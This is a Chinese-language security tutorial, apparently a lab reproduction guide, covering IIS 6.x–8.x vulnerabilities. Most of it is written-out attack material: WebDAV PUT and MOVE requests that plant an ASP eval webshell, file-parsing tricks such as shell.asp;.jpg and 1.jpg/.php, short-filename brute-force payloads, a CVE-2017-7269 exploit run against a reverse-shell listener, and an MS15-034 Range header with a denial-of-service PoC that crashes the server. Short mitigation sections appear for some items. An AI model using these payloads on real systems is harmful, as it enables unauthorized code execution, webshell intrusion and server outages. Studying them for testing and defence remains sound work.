中间件漏洞之IIS

 

介绍

IIS的全称是Internet Information Services(互联网信息服务),是微软提供的运行在Windows系统下的中间件,主要
用来解析.ASP,.ASA,.CER三种文件格式的文件。在实际上传环境中一般ASP这种文件都是黑名单的,所以有时候可
以尝试一下ASA和CER这两种格式上传.同样被解析当成ASP解析

不同Windows对应不同的IIS版本

Windows 2003 server ---> IIS 6.0
Windows 7 ---> IIS7.0和IIS7.5
Windows 2008 server sp2 ---> IIS 7.0
Windows 2008 server R2 ---> IIS 7.5 

漏洞汇总

IIS6.X

任意文件写入 文件解析漏洞 短文件漏洞 IIS-RCE

IIS7.X

短文件漏洞 DDOS

IIS8.X

短文件漏洞 DDOS

IIS6.X

PUT漏洞(任意文件写入)

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

版本 : IIS 6.0

环境部署

在IIS管理器的web服务扩展下开启WebDAV,以及要上传文件的目录需要开启写文件和执行脚本文件权限

image-20220607223424443

漏洞复现

如果没有响应记得加上 Connection: close

提交OPTIONS请求,查看支持的协议

OPTIONS / HTTP/1.1
Host: upload.moonteam.com

image-20220607223434611

提交PUT请求,写入文件(无法直接上传ASP)

PUT /shell.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25

123<%eval request("cmd")%>

返回201 Created

image-20220607223446345

提交MOVE请求,修改文件名为shell.asp

MOVE /shell.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp

image-20220607223458207

访问shell.asp

image-20220607223507646

成功连接蚁剑

image-20220607223517514

IIS6.0解析漏洞

基于文件名

原理

该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析;号及其后面的内容,相当于截断。

补充一下:

iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp
iis6.0->主目录->配置 查看 这几种扩展名都是指向同一个文件 C:\WINDOWS\system32\inetsrv\asp.dll 所以都解析成asp

image-20220607223527672

(这里列举asa后缀的文件解析)

复现

通过文件上传,或者创建文件,格式为*.asp;.jpg

这里直接在根目录添加shell.asp;.jpg

内容

123<%eval request("cmd")%>

image-20220607223538686

成功连接蚁剑

image-20220607223549853

image-20220607223557678

基于文件夹

原理

该版本默认将*.asp/目录下的所有文件当作asp解析

复现

创建*.asp文件夹,在里面上传带有后门的图片

image-20220607223612311

成功连接蚁剑

image-20220607223623391

image-20220607223629502

IIS短文件漏洞

介绍

简介:Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于MS-DOS 或 16 位Windows的程序访问这些文件。在cmd下输入”dir /x”即可看到短文件名的效果。

image-20220607223635879

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。

目前IIS支持短文件名猜测的HTTP方法主要包括:

DEBUG、OPTIONS、GET、POST、HEAD、TRACE

IIS 8.0之后的版本只能通过OPTIONSTRACE方法被猜测成功

短文件名特征:

  1. 所有小写字母均转换成大写的字母

  2. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

image-20220607223645379

  1. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

image-20220607223653922

  1. 长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

image-20220607223704436

  1. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

image-20220607223710676

复现

使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名

注:* 可以匹配n个字符, n可以为0

文件:

第一处* 为6位字符,第二处*为3位字符

http://upload.moonteam.com/*~1.*/a.aspx

文件夹:

*为5位字符

http://upload.moonteam.com/*~1/a.aspx

image-20220607223719376

通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在

image-20220607223736595

通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞

因此我们可以通过回显,盲注出文件名和后缀

比如在根目录下创建一个文件,命名为abcdefghi.txt

image-20220607223746990

直接用burpsuite爆破一下,GET /§§*~1.*/a.aspx HTTP/1.1

image-20220607223757019

字典为 0-9 a-z 和 .

出现404,说明文件名的第一位字符是a

20220522232640

继续爆破, GET /a§§*~1.*/a.aspx HTTP/1.1

出现404,说明文件名的第一位字符是b

20220522233114

依次类推,得知文件名前六位abcdef

接着爆破后缀,GET /abcdef~1.$$*/a.aspx HTTP/1.1

得知后缀名第一位为t

20220522233418

接下来就不列举了,按照上面的方法依次猜解得到该短文件名的后缀是txt 短文件名为 abcdef~1.txt 可以接着猜解 abcdefghi.txt文件名

工具

使用IIS短文件名扫描软件,获取目标存在哪些短文件名

https://github.com/lijiejie/IIS_shortname_Scanner

python2 iis_shortname_Scan.py http://upload.moonteam.com/

20220522234354

防御

  1. 升级 .net framework
  2. 修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。
  3. 命令行关闭 fsutil behavior set disable8dot3 1

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。如果不重新复制,已经存在的短文件名则是不会消失的。可以将web文件夹的内容先拷贝到另一个位置,删完原来的文件,在把拷贝的文件粘贴回去

IIS RCE-CVE-2017-7269

介绍

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

漏洞复现

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

把文件改下名

python2 iis-exp.py 目标ip 目标端口 vps-ip 监听端口
vps: nc -lvnp 6666

运行时遇到一个问题

20220523011912

在源码中把print pay注释掉

20220523011959

这样子就正常了

image-20220607224114120

IIS7.X

IIS7文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:x.jpg或x.png后面加上/.php,会将x.jpg和x.png 解析为php文件

漏洞复现

上传图片到网站允许目录

访问的时候在图片后面加上 /.php

http://192.168.220.136:8980/1.jpg/.php

image-20220607224148248

防御

  1. 配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
  2. 编辑映射模块->映射->打勾

20220523141910

HTTP.SYS远程代码执行(MS15-034)

DDOS,会导致蓝屏,不建议使用

介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞

漏洞复现

访问网站

编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

GET / HTTP/1.1
Host: 192.168.220.136
Range: bytes=0-18446744073709551615
Connection: close

image-20220607224212822

poc地址: https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

image-20220607224222566

服务器蓝屏重启

修复建议

安装修复补丁(KB3042553)